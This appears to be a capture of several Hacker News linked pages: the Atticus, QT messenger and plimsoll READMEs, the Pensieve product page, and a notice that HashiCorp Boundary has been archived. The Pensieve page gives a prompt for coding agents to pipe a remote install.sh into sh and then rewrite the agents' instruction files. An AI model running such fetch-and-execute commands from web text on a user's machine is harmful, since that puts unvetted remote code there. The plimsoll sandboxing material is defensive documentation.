Say "tell me when Codex is done" or "watch this page until it says shipped". Atticus sets it up once, then checks every 5 seconds on your Mac with no AI, so waiting is free. When it fires you get a notification, and it runs a follow-up if you asked for one. A window must stay open on this desktop (covered is fine). Coding agents like Codex are watched through their own log, with no screen at all. Say "stop watching" to cancel.

Budget

Atticus has to stay fast and nearly free, so new features must fit under these limits:

  • Instant commands: no AI, $0.
  • AI asks: median under $0.002 and 6 s over the last 50 (Oct 10, 2026: $0.00095, 5.0 s). Check with python3 atticus.py --budget .
  • System prompt: under 10,000 characters with every option on. Every ask pays for it, and a test enforces it.
  • Anything that waits or runs in the background: $0 while it waits. AI only to set it up and to act at the end.

Usage count

Once a day, Atticus sends one random ID (made on your Mac, not tied to you) to PostHog, so I can see how many people use it. It never sends your name, your asks or your screen. Turn it off in Settings → Account & Access → Count me as a user.

Files

  • Atticus.swift : the app (hotkey, speech, overlay, onboarding window)
  • atticus.py : the brain (fast commands, system prompt, helpers for windows, web and screen)
  • ui/ui.html , ui/onboarding.html , ui/settings.html : the overlay, the welcome flow, and Settings
  • ui/AppIcon.icns : the app icon
  • ui/orbs.js : the thinking-orbs engine (MIT, Jakub Antalik)

License

MIT. See LICENSE . ui/orbs.js is from thinking-orbs , also MIT.

Contributing

Run regressions with a scratch ATTICUS_DIR and use tests/ui.html and tests/settings.html for mock-bridge UI checks. Keep personal agent settings, credentials and runtime state out of commits. Anonymous usage telemetry is disabled unless ATTICUS_POSTHOG_KEY is supplied through the environment; no key is embedded in the source.

Local Indexing to reduce tool calling and token usage

Hacker News
tedhaley.ca
2026-10-11 20:03:53
Comments...
Original Article

Supercharges you
and your agents.

Search your files, repos and agent sessions, locally, and give your agents the best context for the job. One search points them to the few passages that matter, instead of grepping the whole disk. Fewer tool calls, lower cost.

Install with your agent

See how it works

Apple Silicon · macOS 14 or later · free and open source

Connects to the agents you already use

  • Claude Code
  • Codex
  • Cursor
  • Gemini CLI
  • Windsurf
  • Claude Desktop
  • VS Code
  • any MCP client

Superpowers for your agents

The right context. Not the whole disk.

Agents are only as good as the context they're given. Connected over MCP, your coding agent asks Pensieve one question and gets back the few passages that matter, with file and line. It starts on the right code in fewer tool calls.

Without Pensieve grep and read
› Why do card retries stop after a decline?
● Grep "retry" in acme-app   212 matches
● Read payments/retry.py
● Read payments/gateway.py
● Read billing/invoices.py
● Read tests/test_payments.py
  … 36 more files
  Still looking for the backoff rule…

Tool calls 1 grep · 40 reads and counting

With Pensieve one search
› Why do card retries stop after a decline?
● pensieve · search "card retry after decline"
  payments/retry.py:42      stop on hard_decline
  payments/gateway.py:118   decline codes
  Incident review.md        why we changed it
● pensieve · read payments/retry.py:42
Hard declines skip the retry queue.
Maya Rivera owns this; see the Mar 4 review.

Tool calls 1 search · 1 read

Illustrative example. In the benchmark below, agents with Pensieve averaged 2.0 tool calls per lookup against 3.4 with grep, and answered after a single call in 82 of 144 runs.

~ $ pensieve integrate recommended
claude-mcp: on
codex-mcp: on
cursor-mcp: on
claude: on          # "search before you grep" in ~/.claude/CLAUDE.md
pensieve-search: on
claude-hook: on
claude-repo-check: on
Agents load MCP servers when they start: restart any that are open to give them Pensieve.

Scoped to the job

An agent started in a repo sees that repo, its worktrees and its sessions. Name a scope to give it a few repos and a folder of specs.

Exact or by meaning

Agents use the same search you do: by meaning, by the exact identifier, or both, across code, docs and past sessions.

Works with your agent

Claude Code, Codex, Cursor or any MCP client, over stdio with pensieve mcp or over HTTP. pensieve integrate connects the agents on your Mac and adds a “search before you grep” block and skills, including optional ones that point you to teammates who know the code.

Measured, not promised

Fewer searches. Right file first.

We gave Claude Code the same code-finding tasks with and without Pensieve: held-out tasks across real repos from 500 to 35,000 files, asked five ways, from plain descriptions to exact names and error messages. With Pensieve it finds more of them, with fewer tool calls, and costs less per lookup in every repo. Each search takes 0.1 to 0.2 seconds.

131 / 144 runs that found the right file with Pensieve, against 123 / 144 with grep alone

43% fewer tool calls per lookup: 2.0 instead of 3.4

18% cheaper per lookup: $0.041 instead of $0.050, and cheaper in all four repos

21% faster per lookup: 8.6 seconds instead of 10.9

Right file, first result

One search, before any agent: how often the answer is the top result.

One grep Pensieve search

Agent cost per code lookup

Claude Sonnet in Claude Code, measured in four real repos. Pensieve costs less in every repo, and saves the most in the biggest one.

Grep, Glob and Read With Pensieve

Method: Claude Sonnet run headless through Claude Code. Tasks are generated from the code and graded on the file found. “With Pensieve” is the default agent tool set plus the instructions block from pensieve integrate , measured with Pensieve 0.5.6. Both setups ran the same 72 held-out tasks across four repos (504, 1,783, 2,383 and 34,847 files), twice each, in one batch, because the cost depends on Claude’s prompt cache at the time. These tasks were never used to tune Pensieve. Costs are Claude Code’s reported API costs at list prices. Pensieve used 16% fewer tokens. The “right file, first result” chart uses the same held-out tasks: a single grep wins on exact error messages, and Pensieve wins on everything else. The benchmark scripts are open source in bench/ ; run them on your own repos.

Know who to ask

See who owns what.

Every repo as a map, with git blame for every line. Ask about any topic and get the people with the most domain knowledge, plus what each teammate has been working on lately. The fastest answer is often a conversation.

Ownership from blame

Who wrote each area, weighted by the lines that are still there today.

Domain knowledge

Ask about a topic, not a file, and get the people whose code is most about it.

Team activity

What each teammate shipped in the last 90 days, and the areas next to your work you haven't explored.

Find knowledge gaps

Know where the knowledge left.

When the people who wrote a part of the codebase are no longer active in it, that knowledge is at risk. Pensieve flags those areas, shows how few people still know them, and who knows them best today.

acme-app / billing/tax

1 active expert

2,140 lines · last major change 7 months ago

Not active here · 78% Priya Nair · 14% Others · 8%

DK

Daniel Kim Not active here since March

58%

LS

Lena Schultz Not active here since last year

20%

PN

Priya Nair Active this month · knows it best today

14%

Suggestion: pair with Priya before changing tax rules, and document the rounding logic in vat.py .

Bus factor at a glance

For every area of a repo: how much of the code was written by people still active there, and how many of them there are.

Who still knows it

The active people with the most lines in that area, so you know who to pull in before you change it.

Plan the handover

Spot gaps before an incident does. Point your agent at the area to draft the missing docs.

Example with fictional names and numbers.

Always current

Edit a file. Search it seconds later.

Pensieve watches your folders, repos and agent sessions and re-indexes what changed. Uncommitted edits count, and every worktree is tracked by branch, so your agents never work from stale context.

payments/retry.py Uncommitted change in acme-app

now

New worktree: fix-backoff Files that differ from main, tagged with their branch

12 s ago

Q3 planning.pdf Saved to ~/Documents/Planning

1 min ago

Price the annual plan correctly New turns in a running Claude Code session

2 min ago

Private by design

Your work stays on your Mac.

Indexing and search run locally. You decide what gets indexed, and AI is entirely optional.

Runs locally

An on-device embedding model and a local index in ~/.pensieve . Its server answers only this Mac, not your network or other websites. No account, no cloud service.

Switch any source off

Agents, folders, repos and apps each have a switch. Turning one off removes what it indexed.

Secrets skipped

Password-manager exports, keys, .env files and credentials are never indexed.

AI if you want it

Summaries and insights are optional. Pick who writes them, or leave it off:

Built-in Qwen 3.5 9B Local

LM Studio or local server Local

Claude Code or Codex Cloud

Off Local

Get Pensieve.

Free and open source. Your coding agent does the setup.

Ask your coding agent.

Paste this into Claude Code, Codex, Cursor, Gemini CLI, Qwen Code, Windsurf or VS Code.

Install Pensieve on my Mac by running sh -c "$(curl -fsSL https://tedhaley.ca/pensieve/install.sh)", then run pensieve integrate recommended. Then run pensieve setup, show me what it found, ask me which sources to index, and run pensieve setup with my choices. Open the Pensieve app and tell me when it's ready.

  1. 1 Paste the prompt Into whichever coding agent you use.
  2. 2 Your agent installs it The app, then Pensieve for every agent on your Mac.
  3. 3 Choose what to index Your agent asks. Nothing is indexed until you choose.
  4. 4 Press Control and Shift Search while indexing runs. It uses a lot of energy, so plug in.

Version 0.5.9 · Apple Silicon · macOS 14 or later

Questions.

What does Pensieve search?

Your files and folders (Documents, Desktop, Downloads and any folder you add), your git repositories including uncommitted changes and worktrees, and your Claude Code, Codex and Qwen Code sessions. Obsidian vaults too, and optionally Apple Notes. Everything is indexed and searched on your Mac.

How does Pensieve help my agent?

Without it, a coding agent often greps the repo and reads many whole files to find what matters, and every file it reads costs tokens. With Pensieve connected over MCP, the agent asks one question and gets back the most relevant passages with their file and line, so it starts on the right code in fewer tool calls. In our benchmark that made each lookup 18% cheaper and 21% faster; see the measured results above.

Does Pensieve make Claude Code cheaper?

In our benchmark, Claude Code with Pensieve found the right file in 131 of 144 runs, against 123 with grep alone, with 43% fewer tool calls. Each lookup cost 18% less overall, and 6–28% less in each of four repos from 504 to 34,847 files. The benchmark scripts are open source, so you can run them on your own code.

How do I get my agent to use Pensieve instead of grep?

Agents grep by habit. The install prompt runs pensieve integrate recommended , which adds a short “search before you grep” section to the instructions files of Claude Code, Codex and Gemini CLI, plus a search skill and two hooks for Claude Code. You can also switch these on in Settings → Agents. With it, the agent used Pensieve in all 144 runs of our latest benchmark.

Which agents work with Pensieve?

Any MCP client. pensieve integrate recommended connects Claude Code, Codex, Cursor, Gemini CLI, Windsurf, Claude Desktop and VS Code for you. Other agents can use pensieve mcp over stdio, or HTTP. Optional skills also suggest which teammates know an area and help plan new code around what already exists.

How does it find knowledge gaps?

Pensieve reads git blame and recent commit history for each area of a repo. Areas where most lines were written by people with no recent commits there are flagged, along with how many active people know the area and who among them knows it best.

Does anything leave my Mac?

Your files, code and sessions don't. Indexing and search run on your Mac. Pensieve only downloads its models and checks GitHub for updates, which you can turn off. The exception is if you choose Claude Code or Codex to write optional AI insights; those are labelled Cloud. The built-in model, a local server like LM Studio, or no AI at all keep everything local.

Do I need an AI model?

No. Search, agent context, ownership and knowledge gaps all work without one. AI insights are optional: choose the built-in Qwen 3.5 9B, LM Studio, Claude Code, Codex, or leave it off.

Is Pensieve free?

Yes. It's free and open source under the MIT license. The code is on GitHub .

Why does macOS ask before opening it?

The app isn't notarized yet. If macOS blocks it, open System Settings → Privacy & Security and click Open Anyway. You only do this once.

Does it work on Intel Macs or Linux?

The app needs Apple Silicon. On Linux and Intel Macs, the same prompt installs the backend and the browser visualizer. An Intel Mac also gets the search panel if the Xcode command-line tools are installed.

How do I uninstall it?

First run pensieve integrate all --remove to disconnect your agents. Then quit Pensieve, drag it to the Trash, and delete ~/.pensieve , ~/.local/share/uv/tools/pensieve and ~/.local/bin/pensieve . Its models are in ~/.cache/huggingface .

HashiCorp archives the Boundary open source repo

Hacker News
github.com
2026-10-11 20:02:45
Comments...
Original Article

Boundary

Boundary Community Edition (CE) is no longer under active development, and this repository has been archived as of October 8, 2026. Future Boundary development will focus on HCP Boundary and Boundary Enterprise, where we can provide enterprise grade human and agentic access capabilities.

This repository is now read-only and no longer accepts new issues, pull requests, or community contributions. Existing source code and previously released binaries remain available for reference and existing self-managed use.

No new Boundary CE releases, maintenance updates, bug fixes, or security patches are currently planned.

Teams continuing to use Boundary CE should evaluate whether it meets their operational, security, and compliance requirements. For supported Boundary capabilities, including production-scale governance, compliance, session recording, enterprise support, and future Boundary development, please evaluate HCP Boundary or Boundary Enterprise.

Qt An E2EE post-quantum messenger core in Rust (10k connections on 124MB RAM

Hacker News
github.com
2026-10-11 19:52:23
Comments...
Original Article

Um protótipo técnico do núcleo criptográfico e de transporte de um mensageiro E2EE — X3DH, PQXDH (pós-quântico), Double Ratchet, Sealed Sender, Noise Protocol, tudo implementado em Rust, compilado e testado a sério. Não é um produto acabado nem pronto para conversas reais — ver a secção "Sê honesto comigo: isto já funciona?" já a seguir, antes de investires tempo a explorar isto.

Read this in English →

Contexto

Este projeto nasceu de um interesse genuíno em privacidade e segurança de sistemas — em particular, na questão de como construir infraestrutura de comunicação que seja resistente a backdoors por desenho, não só por política (motivada, entre outras coisas, por leis como o "Chat Control" discutido na União Europeia). Em vez de ficar só na teoria, o objetivo foi implementar e testar cada peça a sério: não pseudocódigo, não diagramas — código que compila, corre, e tem testes automáticos a confirmar que faz o que diz que faz.

Porque é que isto existe (o objetivo, para além do exercício técnico)

Quase todos os mensageiros populares pedem o teu número de telefone para te registares. Mesmo quando o conteúdo das mensagens é privado, esse registo cria um rasto — quem fala com quem, quando, com que frequência. Há também leis a serem discutidas na União Europeia (o chamado "Chat Control") que podem obrigar aplicações a vasculhar o conteúdo das mensagens das pessoas, mesmo em apps que se dizem "cifradas".

O QT tenta responder a isto com engenharia, não só com uma política de privacidade: identidade baseada numa chave criptográfica (sem telefone, sem email), cifra ponta-a-ponta que nem o servidor consegue quebrar, e código aberto para que qualquer pessoa possa verificar que não há truques escondidos.

Se preferires uma explicação totalmente sem jargão técnico, começa por apresentacao-projeto.md .

Sê honesto comigo: isto já funciona?

Sim e não — e vale a pena seres claro sobre isto antes de investires tempo a explorar o projeto.

Já funciona e já foi testado a sério (não é só código que "devia funcionar"): a cifra ponta-a-ponta, a camada de rede, um servidor que entrega mensagens sem nunca conseguir lê-las, uma app Android que já correu num telemóvel real. Tudo isto tem testes automáticos a passar, e várias partes foram testadas manualmente da forma mais rigorosa que consegui (por exemplo: matar o servidor a meio e confirmar que os dados sobrevivem).

Ainda não dá para usar no dia a dia : falta a interface de utilizador completa (hoje a app Android só tem um botão de "correr demonstração"), falta pôr o servidor num sítio acessível pela internet, e falta uma auditoria de segurança externa antes de qualquer pessoa confiar nisto com conversas reais.

Por outras palavras: as fundações estão sólidas e testadas; o prédio ainda não tem telhado.

O que já está construído

Peça O que faz Confiança
core/ Estabelecimento de sessão (X3DH + variante pós-quântica) e cifra contínua (Double Ratchet) — o mesmo desenho usado pelo Signal ✅ Testado (14+ testes automáticos, incluindo casos que devem falhar propositadamente)
transport/ Protecção da ligação em rede (Noise Protocol) sobre WebSocket ✅ Testado com ligações WebSocket reais, não simuladas
server/ O "carteiro": entrega mensagens sem nunca ver o conteúdo nem saber quem as enviou ✅ Testado, incluindo sobreviver a ser desligado à força ( kill -9 )
storage/ Guarda a tua identidade e conversas no disco, cifradas ✅ Testado, incluindo confirmar que uma password errada não abre nada
cli/ Uma versão de terminal, para experimentar sem precisar de telemóvel ✅ Testado com processos completamente separados a falar entre si
ffi/ A ponte que liga tudo isto a Kotlin (Android), Swift (iOS) e Python ✅ Testado a partir do Python
App Android Usa essa ponte para provar que tudo funciona num telemóvel real ✅ Já correu num emulador Android real

O que falta, sem rodeios

  • Um ecrã de conversa a sério na app (hoje é só um botão de demonstração)
  • Um servidor acessível pela internet, não só na tua rede local
  • Ligação protegida por TLS ( wss:// ) — hoje usa ws:// simples, adequado só para testes
  • Vários servidores independentes a colaborar entre si (federação), para que nenhum governo consiga desligar a rede inteira desligando só um
  • A password da base de dados vir do sistema de segurança do telemóvel (Keystore/Secure Enclave), não de um argumento de linha de comandos
  • Uma auditoria de segurança independente, feita por alguém que não sou eu

Experimenta tu mesmo

A forma mais rápida de veres isto a funcionar é este comando, que mostra passo a passo uma conversa cifrada completa entre duas pessoas fictícias:

cargo run -p qt_cli --bin messenger_demo

Requisitos para compilar

sudo apt install redis-server libsqlcipher-dev
redis-server --daemonize yes

Rust via rustup — qualquer versão recente serve, exceto a variante pós-quântica do núcleo, que exige Rust 1.81 ou mais recente.

Correr os testes

cargo test --workspace                          # tudo, exceto pós-quântico
cargo test -p qt_core --features pq              # incluindo pós-quântico

Usar como cliente persistente (duas pessoas, processos separados)

cargo run --bin relay_server &

cargo run -p qt_cli --bin messenger -- identity --db bob.sqlite --passphrase "..."
cargo run -p qt_cli --bin messenger -- register --db bob.sqlite --passphrase "..." --server ws://127.0.0.1:9443

cargo run -p qt_cli --bin messenger -- identity --db alice.sqlite --passphrase "..."
cargo run -p qt_cli --bin messenger -- send --db alice.sqlite --passphrase "..." --to <ID-DO-BOB> --message "Ola!" --server ws://127.0.0.1:9443

cargo run -p qt_cli --bin messenger -- receive --db bob.sqlite --passphrase "..." --server ws://127.0.0.1:9443

O identificador de cada pessoa nasce da sua chave pública — ninguém escolhe um "nome de utilizador", de propósito.

Gerar os bindings para Android/iOS/Python

./ffi/generate_bindings.sh

Como o projeto está organizado

core/        O coração: cifra ponta-a-ponta, sem depender de mais nada
transport/   Protege a ligação em rede
server/      Entrega mensagens sem as poder ler
storage/     Guarda tudo em disco, cifrado
cli/         Um cliente de terminal, para testar sem telemóvel
demo/        Junta core+transport num único teste, para ver tudo em ação
ffi/         A ponte para Kotlin, Swift e Python
docs/        A especificação técnica completa, e o histórico de decisões

Cada peça tem os seus próprios testes, guardados ao lado do código ( tests/ ). A app Android existe e já correu num dispositivo real (ver tabela de estado acima), mas por agora vive só na máquina onde foi feita, sem repositório próprio nem publicação — trata-a como uma prova de conceito técnica, não como algo que já podes instalar. Quando for publicada, deve ganhar o seu próprio repositório, que usa este aqui como dependência (é o mesmo princípio de separação explicado em CONTRIBUTING.md ).

Queres perceber os detalhes técnicos?

  • docs/protocol-spec.md explica, secção a secção, exatamente como cada peça funciona por dentro — que algoritmos, que decisões, e o que ainda falta em cada uma.
  • docs/threat-model.md explica contra quem e contra o quê isto protege — e, tão importante quanto isso, contra quem e contra o quê não protege. Leitura recomendada antes de confiares em qualquer alegação de segurança feita aqui.
  • ROADMAP.md mostra o que falta, por ordem de prioridade.
  • CHANGELOG.md mostra o histórico do que já mudou.

Licença

QT é disponibilizado sob uma licença dual:

  • Open source: GNU Affero General Public License, versão 3 ou posterior (AGPL-3.0-or-later).
  • Comercial: organizações que necessitem de termos diferentes da AGPL podem obter uma licença comercial mediante acordo escrito com o autor.

A licença comercial permite definir contratualmente termos específicos de utilização, integração, distribuição, deployment, suporte, manutenção e outros direitos comerciais.

Os componentes e dependências de terceiros utilizados pelo QT permanecem sujeitos às respetivas licenças.

Ver LICENSE para a licença AGPL e LICENSE-COMMERCIAL.md para informação sobre o modelo de licenciamento comercial.

Queres ajudar ou reportar um problema?

  • CONTRIBUTING.md explica como propor mudanças, e tem regras extra (razoáveis) para quem mexer em código de criptografia
  • SECURITY.md explica como reportar uma vulnerabilidade em privado — por favor não abras uma issue pública para isso

Whatever became of holography? (2011)

Hacker News
www.americanscientist.org
2026-10-11 19:50:34
Comments...
Original Article

Verifying your browser…

This will only take a moment.

Show HN: Plimsoll, a self-hosted sandbox for code your AI agent writes

Hacker News
github.com
2026-10-11 19:47:59
Comments...
Original Article

plimsoll runs untrusted code, such as code an AI agent wrote, inside a sandbox, and every result says how strong that sandbox was. A request can demand a minimum strength; if the sandbox is weaker, nothing runs.

audit gvisor Go Reference Go version release license

The name comes from the Plimsoll line , the load limit painted on the outside of a ship's hull where anyone can check it. plimsoll does the same for the isolation tier : how strong the wall around a run is, stated as one of four levels, weakest first: process , container , kernel , vm . The tier is a value on every result, not a sentence in a datasheet. A request can set a floor , the weakest tier it will accept, and the official Go client checks the tier again when the result comes back.

The same machinery lets plimsoll run an exam on code an agent wrote, not only contain it. A trial runner built into the simulation image runs the agent's program against scenarios that program cannot read: each one reaches the runner in a file deleted before the program starts. Every run returns SHA-256 hashes of the request as sent and the result as returned, which the official clients recompute ( how ). A separate program outside the daemon, plimsoll-attest , signs the checked results, refuses a chain of calls with one missing, and replays a run. The exam itself (the simulated system, the scenarios, the pass mark) stays yours: plimsoll supplies the boundary and the evidence.

See one real run

An AI agent wrote a controller : a program that reads a system's state at every tick (here, one 10 ms step of the simulation) and decides how to push it. plimsoll ran it against a simulated cart-pole , a cart on a rail with a pole hinged on top, which the controller keeps upright by pushing the cart left and right. The simulator is compiled to WebAssembly , a portable bytecode that runs inside a host program, and built into the sandbox image. The controller was the only file the caller sent, through the ordinary project API, and it ran at the container tier.

The physics oracle: a cart with a pole balanced on it by an agent-written controller, beside the SHA-256 fingerprint of each run's trajectory

The cart-pole is the standard teaching problem in control engineering. The runner, a program built into the image that runs the controller against the simulator, records the run's trajectory , every state at every tick, and hashes it into a fingerprint : a SHA-256 hash, so equal fingerprints mean identical numbers. Run the accepted controller twice and the two fingerprints match. The agent's first draft had two gains (multipliers in its formula) with the wrong sign: it drops the pole at 5.96 seconds, and its fingerprint differs.

Pole angle and cart position over twenty seconds, for the accepted controller and for the draft that fell

Open the live run report ↗ to replay both runs in the browser, read the controller the agent wrote, and see what the page deliberately does not claim. One execution of the example makes three sandbox runs: the accepted controller twice and the draft once. Reproduce them with make docker-images && go run ./examples/oracle .

The two things it does

It reports the wall. Every result states the isolation tier the run actually got. Every request can set a floor, and a request whose floor the daemon cannot meet is refused before any code runs: ErrInsufficientIsolation means nothing ran.

res, err := provider.Sandbox.RunJavaScript(ctx, sandbox.Request{
    Code:             "console.log(6 * 7)",
    MinimumIsolation: sandbox.IsolationVM, // ErrInsufficientIsolation means nothing ran
})
// res.Isolation reports the boundary that actually ran.

Every refusal that ran nothing is marked as one, with a reason ( request , permission , protocol , unsupported , isolation , environment , capacity ). sandbox.NotDispatchedReason(err) reads the mark, whether the provider (the backend that runs the code) is in your own process or behind the daemon. An error without the mark may have come after the code started, so it is never safe to retry automatically. A mark counts only on an answer that carries the client's request ID back, so a proxy that serves one request's answer for another cannot make a call that ran read "nothing ran" ( what comes back, and what it means ).

The tier is evidence the daemon collected: its configuration and its own startup checks. It is not attestation , cryptographic proof from the hardware of what software is running, and no provider here offers that. docs/isolation-tiers.md lists what each tier rests on.

It lets agent-written code call your API without ever holding your credential, your API's address, or open network access. A grant gives one run permission to call listed routes of one API. The code calls through a small client plimsoll puts in the sandbox, and the broker , the part of plimsoll outside the sandbox that makes the real call, checks the caller and the exact route, then attaches the credential itself. The credential is minted per run: plimsoll asks for it once per run, so it can be a fresh short-lived token, and it never enters the sandbox. Code that skips the client and calls out by hand gets no further, because the broker, not the client, enforces the rules. See docs/capability-grants.md .

Use it from an agent framework

These agent frameworks can hand their model's code to plimsoll through a tool or code executor of their own ( Trigger.dev , one of them, is a hosted TypeScript job runner). Each row names what to install, the guide, and a page that replays recorded calls from that framework's tool to a sandbox and back, refusals included.

Framework Package or extra Guide See a run
Vercel AI SDK @plimsollmark/client/ai-sdk Vercel AI SDK guide (INTERNAL · documentation →) Vercel AI SDK page (INTERNAL · plimsoll site →)
Google ADK plimsoll-client[adk] Google ADK guide (INTERNAL · documentation →) Google ADK page (INTERNAL · plimsoll site →)
Agno plimsoll-client[agno] Python client guide, Agno and CrewAI tools (INTERNAL · documentation →) Agno page (INTERNAL · plimsoll site →)
CrewAI plimsoll-client[crewai] Python client guide, Agno and CrewAI tools (INTERNAL · documentation →) CrewAI page (INTERNAL · plimsoll site →)
Trigger.dev @plimsollmark/client/trigger Trigger.dev guide (INTERNAL · documentation →) Trigger.dev page (INTERNAL · plimsoll site →)
Mastra @plimsollmark/client/mastra TypeScript client guide, Mastra (INTERNAL · documentation →) Mastra page (INTERNAL · plimsoll site →)

Give a Trigger.dev agent a code tool

The TypeScript add-on gives an executeCode tool to a chat agent on Trigger.dev. On a daemon with a session , one sandbox kept for several calls, each call is a cell , code run inside the interpreter kept for that conversation: variables and files can survive the next call. Each tool result says whether they can survive, whether this call started fresh, the isolation tier it ran behind, and the SHA-256 of the run record , a receipt for what was sent and returned that the client checked before returning. The caller sets a minimum tier, so a weaker provider refuses before running code.

See the feature and deployment guide for the exact guarantees and production floor. The deployable Trigger.dev starter has a chat agent and a task that proves two cells share one interpreter through a real daemon, without making an AI model call.

Run something in one minute

The example needs no daemon, no docker, no credentials and no network: it uses the wasm provider, which runs JavaScript on QuickJS , a small JavaScript engine compiled to WebAssembly, inside your own process. Cloning and fetching Go modules do use the network.

git clone https://github.com/plimsollmark/plimsoll && cd plimsoll
go run ./examples/minimal
provider   wasm
isolation  process
exit code  0
timed out  false
truncated  stdout=false stderr=false
duration   304ms
stdout     {"Engineering":59000000,"Sales":20300000,"Operations":9800000}

The isolation line comes from the run's result, not from the example's own text. process means there is no operating-system wall at all: do not use it for hostile code. The same snippet runs at the kernel tier once gVisor is installed. gVisor is a layer between a container and your machine's kernel that handles the container's requests to the operating system itself, so the code never talks to your kernel directly. sudo ./docker/install-gvisor.sh installs a pinned gVisor release (one exact version, changed only by editing this repository) and registers its runtime, runsc , with docker. Nothing else about the program changes:

make docker-images   # builds the project image (plimsoll/sandbox) the docker provider checks for
SANDBOX_PROVIDER=docker SANDBOX_DOCKER_RUNTIME=runsc go run ./examples/minimal

With SANDBOX_PROVIDER unset, plimsoll uses the Disabled provider, which runs nothing, so code execution is never on by accident.

Next: docs/getting-started.md walks through the same pieces on one machine: start the daemon, create a caller credential, write your own client, watch a floor refuse a run, then move the daemon from process to kernel without changing the client. It also covers embedding the Go package instead of running the daemon.

Where the pieces sit

flowchart LR
  A["Agent or MCP gateway (MCP: how an AI app offers tools to a model)"] -->|"Run: one payload, a protocol number, minimum_isolation"| AU

  subgraph D["plimsolld"]
    AU["authenticate the caller"] --> FL["compare the floor with current provider evidence"]
    FL --> DI["dispatch"]
    BR["broker: holds the minted credential, matches the exact route, counts every call"]
  end

  DI --> W["wasm: QuickJS on wazero (process tier)"]
  DI --> K["docker with runsc (kernel tier)"]
  DI --> V["e2b Firecracker (VM tier)"]

  W -. "host.get / host.post" .-> BR
  K -. "per-run Unix socket" .-> BR
  V -. "authenticated guard" .-> BR
  BR ==> |"your credential, attached host-side"| API["Your API"]
Loading

The code inside the sandbox, the guest , never holds the credential and never reaches the network directly. A run with no grant has no network at all.

Isolation tiers

plimsolld is the plimsoll server. Each one runs exactly one provider, chosen by SANDBOX_PROVIDER :

Provider Boundary Tier reported Use
wasm QuickJS on wazero (a WebAssembly runtime written in Go), inside plimsolld itself process Fast local development. An escape (a bug that lets code out of its sandbox) in the engine lands inside your daemon.
docker with runc , docker's default runtime a container sharing your machine's kernel container Self-hosting when a kernel bug is not one of the attacks you plan for. With a project image it keeps a session: one container for many calls, with a JavaScript interpreter (and a Python one with plimsoll/sandbox-python as the project image) whose variables survive between calls.
docker with runsc gVisor, once the startup checks confirm docker has runsc registered kernel Hostile code on your own machines. Keeps sessions too.
e2b a microVM (a small virtual machine made for one run, then destroyed) from E2B , a hosted service that runs them on Firecracker , AWS's open-source VM monitor vm Hostile code, on E2B's machines rather than yours; billed per run. Keeps sessions too, billed while the microVM runs; a suspend pauses it, which keeps the files but not an interpreter's variables.
dockercloud a microVM from Docker Cloud Sandboxes , Docker's hosted sandbox service vm Hostile code, on Docker's machines; billed per run. It speaks two APIs, chosen by SANDBOX_DOCKERCLOUD_API , and both passed the live suite on 2026-10-04: the one Docker released before launch, no longer documented, which is the default because only it has grants and image evidence, and the REST API Docker documents, kept as a backup until it covers those (no grants, refused under PLIMSOLL_HARDENED=1 , runs of at most 270 s). The account's network policy must be deny-all (no connection unless a rule allows it), and every run checks that. Grants work through the same guard as E2B (an address on the plimsoll server, the only place the microVM may connect to) when SANDBOX_DOCKERCLOUD_GUARD_URL is set. Unlike E2B, the guest holds its own run's short-lived credential for the guard, and the one network rule is set through a Docker call outside its published API.
openshell a sandbox from OpenShell , NVIDIA's agent sandbox runtime, created by its gateway server on docker container Agent platforms that already run an OpenShell gateway. Each run gets its own sandbox with no network; plimsoll reads its settings back, refuses to run on any difference, and deletes it afterwards. Tested against a v0.1.2 gateway on 2026-09-28. Grants reach the broker through a relay inside the sandbox that plimsoll connects to from outside, so the sandbox needs no network rules. Keeps sessions too.
unset nothing runs n/a The default.

Each tier rests on the daemon's configuration, what the provider reports, and a real test run at startup; none is attestation. docs/isolation-tiers.md lists the evidence for each tier and shows how a request sets its floor. A session trades the fresh sandbox of every call for speed and kept state: code an earlier call ran can change what later calls see, and a call with API access needs a grant that allows sessions ( docs/sessions.md ). A session is one trust domain, and plimsoll ties it to the authenticated caller, not to that caller's customers: a service that runs many customers' code through one credential must keep each customer in a session of their own ( who may share a session ). The docker provider can also apply the shipped seccomp profile, a list of the only system calls (requests to the kernel, such as opening a file) its containers may make ( docs/seccomp.md ).

How this compares with the other self-hosted sandboxes for agent code (E2B's self-hosted version, microsandbox, NVIDIA OpenShell, Kubernetes agent-sandbox and eight more), each described from its own documentation, with plimsoll's weak points beside them: the comparison (INTERNAL · plimsoll site →) .

More real runs

Page What it shows
Simulation replay pages, all eight simulators ↗ The eight simulators built into the simulation image for controller runs: shower, buck converter (a power supply that steps a voltage down by switching it on and off), ship heading, black hole orbit, relativistic rocket, satellite clock, double slit, and cart-pole swing-up (the image also carries the models the module-run tests use). Each page runs a failing and a passing hand-written controller through the sandbox and replays both trajectories with their fingerprints.
A controller in C, compiled in the sandbox ↗ The same cart-pole simulator, with a swing-up controller (it swings the pole up from hanging, then balances it) written in C and compiled to WebAssembly by the run's own first step, so the simulator and the controller are both WebAssembly. The run report compares it with the JavaScript version tick by tick. The two languages' cos functions disagree in the last bit on about one input in a hundred, so in three of the four scenarios one or two force values differ, by a few representable doubles (at most 14). The fingerprint catches that difference, and the motion itself is identical to the bit. Source and caveats in its README ; reproduce with make docker-images && go run ./examples/wasm-controller .
A buck converter controller in C ↗ A power supply's control law (the formula its controller applies at each tick) written in C, the language converter firmware is written in. It is compiled to WebAssembly in the sandbox and run against a simulated converter, whose output it must hold at 5 V while the load changes suddenly. It calls no library function, so its trajectory equals the JavaScript version's byte for byte in all four scenarios; the page charts one of them tick by tick. Source and caveats in its README ; reproduce with make docker-images && go run ./examples/wasm-buck .
Same run, different sandboxes ↗ The cart-pole run from the top of this page, on local runc and gVisor, an OpenShell gateway, E2B and Docker Cloud Sandboxes: three isolation tiers, two Node versions, and one fingerprint, the same one the first report published. Reproduce the configured rows with go run ./examples/providers ; the cloud rows are billed.
One sandbox, five calls ↗ A session on an OpenShell sandbox: a failing test, a patch, the test passing without the files being sent again, and a leftover process that is gone by the next call. Each call's run record (the daemon's statement of what was sent, what came back and where it ran) is signed and linked to the previous one. The verifier accepts the signed set, and refuses it when one call is dropped or one byte is changed. Reproduce with go run ./examples/sessions and a gateway.
The efficiency advisor's report ↗ The advisor reads the API calls a run made and points out wasteful patterns. One measured run: the same question asked of an API as 13 calls, then as 1, and the advisor's finding that names the route that answers it in one call.
Twelve interactive lessons ↗ How a run is executed, the providers, the API broker, and connecting an AI agent. Static pages: no network calls, no analytics, no third-party scripts.

Status, plainly

